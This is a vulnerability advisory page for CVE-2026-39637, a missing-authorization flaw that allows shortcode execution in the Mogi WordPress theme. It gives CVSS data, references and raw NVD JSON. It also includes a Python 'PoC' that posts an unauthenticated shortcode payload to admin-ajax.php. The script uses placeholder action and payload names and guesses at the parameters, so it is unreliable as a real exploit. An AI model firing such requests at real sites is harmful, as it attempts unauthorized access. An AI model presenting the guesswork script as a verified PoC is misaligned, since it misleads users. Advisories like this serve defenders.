CVE-2026-39637

Description

Missing Authorization vulnerability in SpabRice Mogi mogi allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Mogi: from n/a through <= 1.2.3.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

SpabRice Mogi <= 1.2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit(target_url):
    # The vulnerable action endpoint (example, replace with actual action name if known)
    # Based on typical WP structure
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload to execute a shortcode (e.g., [gallery] or a custom one)
    # Assuming the vulnerable parameter is 'content' or 'shortcode'
    data = {
        'action': 'vulnerable_theme_action', # Replace with actual action name from analysis
        'shortcode': '[malicious_shortcode]' # Example payload
    }
    
    try:
        response = requests.post(ajax_url, data=data, timeout=10)
        if response.status_code == 200:
            print(f"[+] Payload sent successfully to {target_url}")
            print(f"[+] Response: {response.text[:200]}")
        else:
            print(f"[-] Failed to send payload. Status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://example.com"
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-39637
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-39637
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-39637/
[4] VulDB https://vuldb.com/cve/CVE-2026-39637
[5] https://patchstack.com/database/Wordpress/Theme/mogi/vulnerability/wordpress-mogi-theme-1-2-3-arbitrary-shortcode-execution-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-39637", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:34.410", "lastModified": "2026-04-24T18:06:24.707", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in SpabRice Mogi mogi allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Mogi: from n/a through <= 1.2.3."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/mogi/vulnerability/wordpress-mogi-theme-1-2-3-arbitrary-shortcode-execution-vulnerability?_s_id=cve", "source": "[email protected]"}]}}